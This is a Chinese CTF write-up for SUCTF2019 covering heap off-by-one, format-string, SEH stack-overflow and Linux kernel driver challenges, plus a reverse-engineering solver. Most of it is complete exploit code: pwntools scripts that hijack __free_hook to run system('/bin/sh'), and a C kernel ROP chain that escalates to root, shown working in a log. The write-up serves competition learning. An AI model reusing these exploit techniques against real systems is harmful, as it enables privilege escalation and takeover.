SUCTF2019 部分 writeups

TOC

  1. 1. PWN - 二手破电脑
    1. 1.1. 脚本
  2. 2. PWN - playfmt
    1. 2.1. 溢出点
    2. 2.2. 思路
    3. 2.3. 脚本
  3. 3. PWN - BabyStack
    1. 3.1. 思路
    2. 3.2. 脚本
  4. 4. PWN - sudrv
    1. 4.1. 溢出点
    2. 4.2. 思路
    3. 4.3. 代码
  5. 5. RE - hardcpp

不算很难的比赛,但就是拿不到好成绩。值得反思。

题目文件下载:suctf2019.zip

PWN - 二手破电脑

先从简单的开始,很明显的off by one

char *__cdecl get_name(size_t size)
{
char *malloc_ptr; // ST10_4
char *result; // eax
char v3[16]; // [esp+4h] [ebp-14h]

*(_DWORD *)&v3[8] = __readgsdword(0x14u);
if ( size > 0x1FF )
size = 512;
malloc_ptr = (char *)malloc(size);
strcpy(v3, "%");
sprintf(&v3[1], (const char *)&unk_14E0, size);
__isoc99_scanf(v3, malloc_ptr);
result = malloc_ptr;
if ( __readgsdword(0x14u) != *(_DWORD *)&v3[8] )
end();
return result;
}

由于scanfnull截断,所以当size刚好使得chunk对齐时,则可以off by one给下一个chunk的size的低字节写0 。

泄露点

struc_1 *__cdecl Comment(struc_1 **a1)
{
struc_1 *v1; // esi
struc_1 *result; // eax
int index; // [esp+8h] [ebp-10h]
int v4; // [esp+Ch] [ebp-Ch]

printf("Index: ");
__isoc99_scanf("%d", &index);
if ( index < 0 || index > 9 || !a1[index] || a1[index]->comment )
return (struc_1 *)puts("Too young");
printf("Comment on %s : ", a1[index]->name);
v1 = a1[index];
v1->comment = (int)malloc(0x8Cu);
read(0, (void *)a1[index]->comment, 0x8Cu);
printf("And its score: ");
__isoc99_scanf("%d", &v4);
result = a1[index];
result->score = v4;
return result;
}

Comment 函数 利用 read 来读取输入,意味着没有null截断,则我们可以泄露heap当中的脏数据。

思路

注意要布置好 heap 结构,这样利用的时候会方便很多。

Purchase(0x8c, 'a\n')
Purchase(0x8c, 'b\n')
Comment(0, 'a')
Comment(1, 'b')

Throw(0)
Throw(1)
Purchase(1, 'a')
Comment(0, '\x40')
Throw(0)
sh.recvuntil('Comment ')
sh.recvn(8)
result = sh.recvn(4)
main_arena_addr = u32(result) - 48
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x18)
log.success('libc_addr: ' + hex(libc_addr))
Purchase(0xf4, 'c\n')
Purchase(0x74, 'd\n')
# 0x2d
Purchase(0xfc, 'e\n')
Throw(0)
Purchase(0xfc, 'f\n')
Throw(2)
Purchase(0xfc, '\0' * 0xf8 + p32(0x1c8))
Purchase(0x104, '/bin/sh\0\n')
Purchase(0x104, '/bin/sh\0\n')
Purchase(0x104, '/bin/sh\0\n')
# pause()
Throw(4)
Throw(0)
Purchase(0x9c, 'g\n')
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(main_arena_addr + 8) + '\n') #
# Comment(2, 'b')
sh.sendlineafter('>>> ', '2')
sh.sendlineafter('Index: ', str(2))
sh.recvuntil('Comment on ')
result = sh.recvn(4)
heap_addr = u32(result) - 0x30
log.success('heap_addr: ' + hex(heap_addr))
sh.sendafter(' : ', 'b')
sh.sendlineafter('And its score: ', str(1))

Throw(4)
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(heap_addr + 8) + '\n') #
# pause()
Throw(2)
sh.sendlineafter('>>> ', '1')
sh.sendlineafter('Name length: ', str(0x2c))
sh.sendafter('Name: ', p32(libc_addr + libc.symbols['__free_hook'] - 12) + p32(libc_addr + libc.symbols['__free_hook'] + 0x10) + p32(libc_addr + libc.symbols['__free_hook']) + '\n')
sh.sendlineafter('Price: ', str(0x21))


sh.sendlineafter('>>> ', '2')
sh.sendlineafter('Index: ', str(1))
sh.sendafter(' : ', '\n')
sh.sendlineafter('And its score: ', str(0x21))
Throw(2)
Purchase(0x1c, p32(libc_addr + libc.symbols['system']) + '\n')

Throw(5)

sh.interactive()

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './pwn'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('47.111.59.243', 10001)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/glibc/glibc-2.23/debug_x86/lib/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0x12BA)
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def Purchase(length, name):
sh.sendlineafter('>>> ', '1')
sh.sendlineafter('Name length: ', str(length))
sh.sendafter('Name: ', name)
sh.sendlineafter('Price: ', str(1))

def Comment(index, comment):
sh.sendlineafter('>>> ', '2')
sh.sendlineafter('Index: ', str(index))
sh.sendafter(' : ', comment)
sh.sendlineafter('And its score: ', str(1))

def Throw(index):
sh.sendlineafter('>>> ', '3')
sh.sendlineafter('WHICH IS THE RUBBISH PC? Give me your index: ', str(index))

Purchase(0x8c, 'a\n')
Purchase(0x8c, 'b\n')
Comment(0, 'a')
Comment(1, 'b')

Throw(0)
Throw(1)
Purchase(1, 'a')
Comment(0, '\x40')
Throw(0)
sh.recvuntil('Comment ')
sh.recvn(8)
result = sh.recvn(4)
main_arena_addr = u32(result) - 48
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x18)
log.success('libc_addr: ' + hex(libc_addr))

Purchase(0xf4, 'c\n')
Purchase(0x74, 'd\n')
# 0x2d
Purchase(0xfc, 'e\n')
Throw(0)
Purchase(0xfc, 'f\n')
Throw(2)
Purchase(0xfc, '\0' * 0xf8 + p32(0x1c8))
Purchase(0x104, '/bin/sh\0\n')
Purchase(0x104, '/bin/sh\0\n')
Purchase(0x104, '/bin/sh\0\n')
# pause()
Throw(4)
Throw(0)

Purchase(0x9c, 'g\n')
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(main_arena_addr + 8) + '\n') #
# Comment(2, 'b')
sh.sendlineafter('>>> ', '2')
sh.sendlineafter('Index: ', str(2))
sh.recvuntil('Comment on ')
result = sh.recvn(4)
heap_addr = u32(result) - 0x30
log.success('heap_addr: ' + hex(heap_addr))
sh.sendafter(' : ', 'b')
sh.sendlineafter('And its score: ', str(1))

Throw(4)
Purchase(0x4c, 'i' * 8 + p32(0) + p32(0x19) + p32(0) + p32(heap_addr + 8) + '\n') #
# pause()
Throw(2)

sh.sendlineafter('>>> ', '1')
sh.sendlineafter('Name length: ', str(0x2c))
sh.sendafter('Name: ', p32(libc_addr + libc.symbols['__free_hook'] - 12) + p32(libc_addr + libc.symbols['__free_hook'] + 0x10) + p32(libc_addr + libc.symbols['__free_hook']) + '\n')
sh.sendlineafter('Price: ', str(0x21))


sh.sendlineafter('>>> ', '2')
sh.sendlineafter('Index: ', str(1))
sh.sendafter(' : ', '\n')
sh.sendlineafter('And its score: ', str(0x21))

Throw(2)
Purchase(0x1c, p32(libc_addr + libc.symbols['system']) + '\n')

Throw(5)

sh.interactive()
clear()

PWN - playfmt

程序开始的时候已经将 flag 读到heap中了,我们的任务仅仅是要将其泄露出来。

本题并不依赖于 libc ,即使 libc 不同对于漏洞的利用也并不影响。

溢出点

格式化字符串漏洞,buf并不在栈上。

int do_fmt(void)
{
int result; // eax

while ( 1 )
{
read(0, buf, 0xC8u);
result = strncmp(buf, "quit", 4u);
if ( !result )
break;
printf(buf);
}
return result;
}

遇到这种题先观察其栈结构:

Breakpoint *0x0804889F
pwndbg> stack
00:0000│ esp 0xffe040f0 —▸ 0x804b040 (buf) ◂— '%6$p\n'
01:0004│ 0xffe040f4 —▸ 0x8048cac ◂— jno 0x8048d23 /* 'quit' */
02:0008│ 0xffe040f8 ◂— 0x4
03:000c│ 0xffe040fc —▸ 0x80488e8 (logo()+59) ◂— add esp, 0x10
04:0010│ 0xffe04100 —▸ 0x8048cb1 ◂— cmp eax, 0x3d3d3d3d /* '=====================' */
05:0014│ 0xffe04104 —▸ 0x8048ac4 (main+440) ◂— call 0x804884b
06:0018│ ebp 0xffe04108 —▸ 0xffe04128 —▸ 0xffe04158 ◂— 0x0
07:001c│ 0xffe0410c —▸ 0x80488f0 (logo()+67) ◂— call 0x804884b
pwndbg>
08:0020│ 0xffe04110 —▸ 0xf7e28000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x195db0
09:0024│ 0xffe04114 ◂— 0x0
0a:0028│ 0xffe04118 —▸ 0xffe04158 ◂— 0x0
0b:002c│ 0xffe0411c —▸ 0x8048ac4 (main+440) ◂— call 0x804884b
0c:0030│ 0xffe04120 —▸ 0xf7e28d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
0d:0034│ 0xffe04124 ◂— 0x0
0e:0038│ 0xffe04128 —▸ 0xffe04158 ◂— 0x0
0f:003c│ 0xffe0412c —▸ 0x8048ac4 (main+440) ◂— call 0x804884b
pwndbg>
10:0040│ 0xffe04130 —▸ 0xf7e283dc (__exit_funcs) —▸ 0xf7e291e0 (initial) ◂— 0x0
11:0044│ 0xffe04134 ◂— 0x0
12:0048│ 0xffe04138 —▸ 0x96fea28 —▸ 0xf7e287b0 (main_arena+48) —▸ 0x96fee60 ◂— 0x0
13:004c│ 0xffe0413c —▸ 0x96fee30 ◂— 0x0
... ↓
17:005c│ 0xffe0414c —▸ 0xf7ca99fb (__libc_start_main+412) ◂— jmp 0xf7ca9a49

0018的位置(0xffe04108 —▸ 0xffe04128 —▸ 0xffe04158),由于其已经成链,直接攻击即可。

思路

sh.recvuntil('=====================\n')
sh.recvuntil('=====================\n')
# pause()
sh.send('%6$p\n\0')
stack_addr = int(sh.recvline(), 16)
log.success('stack_addr: ' + hex(stack_addr))

sh.send('%18$p\n\0')
heap_addr = int(sh.recvline(), 16) - 0xa28
log.success('heap_addr: ' + hex(heap_addr))
sh.send('%6$p\n\0')
stack2_addr = u32(sh.recvline()[:4])
if((stack2_addr & 0xff00) != (stack_addr & 0xff00)):
raise Exception("stack")
one_byte = (stack_addr & 0xff) + 0x10
payload = '%' + str(one_byte) + 'c%6$hhn\n\0'

# pause()
sh.send(payload)
sh.recvline()

# pause()
payload = '%' + str(0x10) + 'c%14$hhn\n\0'
sh.send(payload)
sh.recvline()

sh.send('%18$s\n\0')

脚本

概率在 1/100 以为。

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

# context.arch = 'amd64'
context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './playfmt'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file, env={'LD_LIBRARY_PATH': '/usr/lib32/'})
# sh = remote('120.78.192.35', 9999)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x0804889F
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

sh.recvuntil('=====================\n')
sh.recvuntil('=====================\n')
# pause()
sh.send('%6$p\n\0')
stack_addr = int(sh.recvline(), 16)
log.success('stack_addr: ' + hex(stack_addr))

sh.send('%18$p\n\0')
heap_addr = int(sh.recvline(), 16) - 0xa28
log.success('heap_addr: ' + hex(heap_addr))

sh.send('%6$p\n\0')
stack2_addr = u32(sh.recvline()[:4])
if((stack2_addr & 0xff00) != (stack_addr & 0xff00)):
raise Exception("stack")

one_byte = (stack_addr & 0xff) + 0x10
payload = '%' + str(one_byte) + 'c%6$hhn\n\0'

# pause()
sh.send(payload)
sh.recvline()

# pause()
payload = '%' + str(0x10) + 'c%14$hhn\n\0'
sh.send(payload)
sh.recvline()

sh.send('%18$s\n\0')

sh.interactive()
clear()

PWN - BabyStack

这个和HITB GSEC BABYSTACK很像,就是开始的时候加上了一个除0 异常机制。由于本人闲的无聊,把除0 操作的花指令 patch 了一下, 而且没有备份,所以只能用 patched 的程序来讲,但并不影响思路。

loc_40853C:
add ecx, esp
add eax, ecx
push eax
nop
pop eax
mov esi, [ebp+var_2C]
sub esi, eax
div esi

这里我 patch 成要对应的 栈地址才行,反正难度差不多,由于开始的时候已经给出了栈地址和程序基地址,所以这里的值也是很好计算的。

完成除0 异常之后,便是熟悉的HITB GSEC BABYSTACK,这里就不赘述了。

思路

sh.recvuntil('So,Can You Tell me what did you know?')
# pause()
sh.sendline(hex(stack_addr + 32)[2:].upper().rjust(8, '0'))
# pause()
security_cookie = get_value(main_address + 493222)
log.success('security_cookie: ' + hex(security_cookie))

# pause()
sh.sendline('n')
next_addr = stack_addr + 24
log.success('next_addr: ' + hex(next_addr))

SCOPETABLE = [
0x0FFFFFFFE,
0,
0x0FFFFFFCC,
0,
0xFFFFFFFE,
main_address + 18696,
]

payload = 'a' * 16 + flat(SCOPETABLE).ljust(104, 'a') + p32((stack_addr - 32) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 24786) + p32((stack_addr - 188) ^ security_cookie) + p32(0) + 'b' * 16
sh.sendline(payload)

# 18696
sh.recvline()
sh.sendline('yes')
# pause()
sh.recvuntil('Where do you want to know')
sh.sendline('0')

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

# context.log_level = 'debug'
context.arch = 'i386'

sh = remote('', 0)

def get_value(addr):
sh.recvuntil('Do you want to know more?')
sh.sendline('yes')
sh.recvuntil('Where do you want to know')
sh.sendline(str(addr))
sh.recvuntil('value is ')
return int(sh.recvline(), 16)


sh.recvuntil('stack address =')
result = sh.recvline()
stack_addr = int(result, 16)
log.success('stack_addr: ' + hex(stack_addr))
sh.recvuntil('main address =')
result = sh.recvline()
main_address = int(result, 16)
log.success('main_address: ' + hex(main_address))

sh.recvuntil('So,Can You Tell me what did you know?')
# pause()
sh.sendline(hex(stack_addr + 32)[2:].upper().rjust(8, '0'))

# pause()
security_cookie = get_value(main_address + 493222)
log.success('security_cookie: ' + hex(security_cookie))

# pause()
sh.sendline('n')
next_addr = stack_addr + 24
log.success('next_addr: ' + hex(next_addr))

SCOPETABLE = [
0x0FFFFFFFE,
0,
0x0FFFFFFCC,
0,
0xFFFFFFFE,
main_address + 18696,
]

payload = 'a' * 16 + flat(SCOPETABLE).ljust(104, 'a') + p32((stack_addr - 32) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 24786) + p32((stack_addr - 188) ^ security_cookie) + p32(0) + 'b' * 16
sh.sendline(payload)

# 18696
sh.recvline()
sh.sendline('yes')
# pause()
sh.recvuntil('Where do you want to know')
sh.sendline('0')

sh.interactive()

PWN - sudrv

这里我实在没有想到还可以看 kernel 信息来进行地址泄露的,感觉有点掩耳盗铃。

溢出点

驱动的write没有size限制,存在堆溢出。

signed __int64 __cdecl sudrv_write(void *buf, char *b, size_t length)
{
JUMPOUT(copy_user_generic_unrolled(su_buf), 0, sudrv_write_cold_1);
return -1LL;
}

由于程序没有给我们debug版本,我们是没有符号表的,自然很难确定commit_credsprepare_kernel_cred的地址。但是我们可以将启动脚本直接改成root。然后直接cat /proc/kallsyms,即可以获得所有函数的地址信息,并计算出其对应的偏移。注意必须要root查看才行。

接下来让我们来看看栈布局:

────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────
0xffffffffc0000028 <sudrv_ioctl+8> cmp esi, 0xdeadbeef
0xffffffffc000002e <sudrv_ioctl+14> je sudrv_ioctl+88 <0xffffffffc0000078>

0xffffffffc0000078 <sudrv_ioctl+88> mov rdi, qword ptr [rip + 0x23c1] <0xffffffffc0002440>
0xffffffffc000007f <sudrv_ioctl+95> test rdi, rdi
0xffffffffc0000082 <sudrv_ioctl+98> jne sudrv_ioctl.cold <0xffffffffc00000b8>

► 0xffffffffc00000b8 <sudrv_ioctl.cold> call 0xffffffff810af609

0xffffffffc00000bd <sudrv_ioctl.cold+5> jmp sudrv_ioctl+24 <0xffffffffc0000038>

0xffffffffc00000c2 call 0xffffffff819ed280

0xffffffffc00000c7 call 0xffffffff819ed2c0

0xffffffffc00000cc <sudrv_exit> mov rdi, -0x3fffef70
0xffffffffc00000d3 <sudrv_exit+7> call 0xffffffff810af609
─────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────
00:0000│ rsp 0xffffc9000073be80 —▸ 0xffffffff811c827f ◂— mov ebx, eax /* 0xffffffdfd3dc389 */
01:0008│ 0xffffc9000073be88 ◂— add byte ptr [rax - 0xadc1fc0], al /* 0x5822f523e0408000 */
02:0010│ 0xffffc9000073be90 ◂— 2
03:0018│ 0xffffc9000073be98 —▸ 0xffffffff8229a268 ◂— 0
04:0020│ 0xffffc9000073bea0 —▸ 0xffffc9000073bed8 —▸ 0xffff8880068b7600 ◂— 0
05:0028│ 0xffffc9000073bea8 ◂— out dx, eax /* 0xdeadbeef */
06:0030│ 0xffffc9000073beb0 —▸ 0xffff8880068b7600 ◂— 0
07:0038│ 0xffffc9000073beb8 ◂— 0
───────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────
► f 0 ffffffffc00000b8 sudrv_ioctl.cold

可以看到第六个参数0xffffffff811c827f可以泄露 kernel 基地址,而第十个参数0xffffc9000073bed8可以泄露 栈地址。

思路

ioctl(fd, 0x73311337, 0xff0); // kmalloc

write(fd, "%llx %llx %llx %llx %llx kernel: 0x%llx %llx %llx %llx stack: 0x%llx %llx %llx %llx %llx\n", 90);
// s();
ioctl(fd, 0xDEADBEEF, 0); // printk
printf("Input kernel: ");
scanf("%p", (char **)&kernel_addr);
kernel_addr -= 0x1c827f;
offset = kernel_addr - 0xFFFFFFFF81000000;
printf("kernel_addr: 0x%llx\n\n", kernel_addr);

printf("Input stack: ");
scanf("%p", (char **)&stack_addr);
getchar();
stack_addr &= 0xfffffffffffff000;
printf("stack_addr: 0x%llx\n\n", stack_addr);
for (i = 0; i < 0x140; i++)
{
ioctl(fd, 0x73311337, 0xff0);
}

之后申请的0x1000的内存都是相邻的。

*(unsigned long long *)(buf + 0x1000) = stack_addr;
write(fd, buf, 0x1008);

ioctl(fd, 0x73311337, 0xff0);
ioctl(fd, 0x73311337, 0xff0);
#define PADDING 0xf00

for (i = 0; i + stack_addr < stack_addr + PADDING; i += 8)
{
*(unsigned long long *)(buf + i) = offset + 0xffffffff81005bb3; // ret
}
rop = (unsigned long long *)(buf + PADDING);
*rop++ = offset + 0xffffffff810460e0; // xor edi, edi; ret;
*rop++ = offset + 0xffffffff81081790; // prepare_kernel_cred
*rop++ = offset + 0xffffffff819e2959; // mov rdi, rax; mov qword ptr [rdi], 1; ret;
*rop++ = offset + 0xffffffff81081410; // commit_creds

*rop++ = offset + 0xffffffff8101ac0c; // pop rax; ret;
*rop++ = 0x6f0;
*rop++ = offset + 0xffffffff810035b5; // mov cr4, rax; push rcx; popfq; ret;

*rop++ = offset + 0xffffffff81a00d5a; // swapgs; popfq; ret;
*rop++ = 0;
*rop++ = offset + 0xffffffff81021762; // iretq; ret;

*rop++ = (unsigned long long)shell;
*rop++ = user_cs;
*rop++ = user_eflags;
*rop++ = user_sp;
*rop++ = user_ss;

write(fd, buf, 0x1000);

代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <pthread.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>

void s()
{
puts("Paused (press any to continue)");
getchar();
}

void shell()
{
system("/bin/sh");
exit(0);
}

unsigned long long user_cs, user_ss, user_eflags, user_sp;
void save_status()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_eflags), "=r"(user_sp));
}

int main()
{
int fd, i;
unsigned long long kernel_addr, stack_addr, *rop, offset;
char buf[0x2000];

setbuf(stdout, NULL);
save_status();
signal(SIGSEGV, shell);

if ((fd = open("/dev/meizijiutql", O_RDWR)) == -1)
{
fprintf(stderr, "open error: %m\n");
exit(1);
}

ioctl(fd, 0x73311337, 0xff0); // kmalloc

write(fd, "%llx %llx %llx %llx %llx kernel: 0x%llx %llx %llx %llx stack: 0x%llx %llx %llx %llx %llx\n", 90);
// s();
ioctl(fd, 0xDEADBEEF, 0); // printk
printf("Input kernel: ");
scanf("%p", (char **)&kernel_addr);
kernel_addr -= 0x1c827f;
offset = kernel_addr - 0xFFFFFFFF81000000;
printf("kernel_addr: 0x%llx\n\n", kernel_addr);

printf("Input stack: ");
scanf("%p", (char **)&stack_addr);
getchar();
stack_addr &= 0xfffffffffffff000;
printf("stack_addr: 0x%llx\n\n", stack_addr);

for (i = 0; i < 0x140; i++)
{
ioctl(fd, 0x73311337, 0xff0);
}

#define PADDING 0xf00

for (i = 0; i + stack_addr < stack_addr + PADDING; i += 8)
{
*(unsigned long long *)(buf + i) = offset + 0xffffffff81005bb3; // ret
}
*(unsigned long long *)(buf + 0x1000) = stack_addr;
write(fd, buf, 0x1008);

ioctl(fd, 0x73311337, 0xff0);
ioctl(fd, 0x73311337, 0xff0);

rop = (unsigned long long *)(buf + PADDING);
*rop++ = offset + 0xffffffff810460e0; // xor edi, edi; ret;
*rop++ = offset + 0xffffffff81081790; // prepare_kernel_cred
*rop++ = offset + 0xffffffff819e2959; // mov rdi, rax; mov qword ptr [rdi], 1; ret;
*rop++ = offset + 0xffffffff81081410; // commit_creds

*rop++ = offset + 0xffffffff8101ac0c; // pop rax; ret;
*rop++ = 0x6f0;
*rop++ = offset + 0xffffffff810035b5; // mov cr4, rax; push rcx; popfq; ret;

*rop++ = offset + 0xffffffff81a00d5a; // swapgs; popfq; ret;
*rop++ = 0;
*rop++ = offset + 0xffffffff81021762; // iretq; ret;

*rop++ = (unsigned long long)shell;
*rop++ = user_cs;
*rop++ = user_eflags;
*rop++ = user_sp;
*rop++ = user_ss;

write(fd, buf, 0x1000);
}

运行实例:

/tmp $ id
id
uid=1000 gid=1000 groups=1000
/tmp $ ./a.out
./a.out
[ 75.624593] SU Device opened
[ 75.625318] Write!
[ 75.625529] deadbeef 0 0 b 0 kernel: 0xffffffff91fc827f 53945dd4b5d34900 2 ffffffff9309a268 stack: 0xffffa013c015bed8 deadbeef ffff93f943c13c00 0 0
Input kernel: 0xffffffff91fc827f
0xffffffff91fc827f
kernel_addr: 0xffffffff91e00000

Input stack: 0xffffa013c015bed8
0xffffa013c015bed8
stack_addr: 0xffffa013c015b000

/tmp # id
id
uid=0 gid=0
/tmp #

RE - hardcpp

去平坦化后,稍微分析一下就能出结果。

#include <stdio.h>
#include <string.h>

char f(char x, char x1)
{
return ((x % 7) + x1) ^ ((x ^ 18) * 3 + 2);
}

char printable[] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c";
#define LENGTH 0x100

char enc[] = {0xf3, 0x2e, 0x18, 0x36, 0xe1, 0x4c, 0x22, 0xd1, 0xf9, 0x8c, 0x40, 0x76, 0xf4, 0x0e, 0x00, 0x05, 0xa3, 0x90, 0x0e};

void next(char *str)
{
int i, ii;
for (i = 1; i < sizeof(enc); i++)
{
for (ii = 0; ii < LENGTH; ii++)
{
if (f(str[i], printable[ii]) == enc[i])
{
str[i + 1] = printable[ii];
if (i > sizeof(enc) - 2)
{
puts(str);
}
}
}
}
}

int main()
{
int i, ii;
char buf[0x100] = {0};

for (i = 0; i < LENGTH; i++)
{
for (ii = 0; ii < LENGTH; ii++)
{
if (f(printable[i], printable[ii]) == enc[0])
{
memset(buf, 0, 0x100);
buf[0] = printable[i];
buf[1] = printable[ii];
next(buf);
}
}
}
}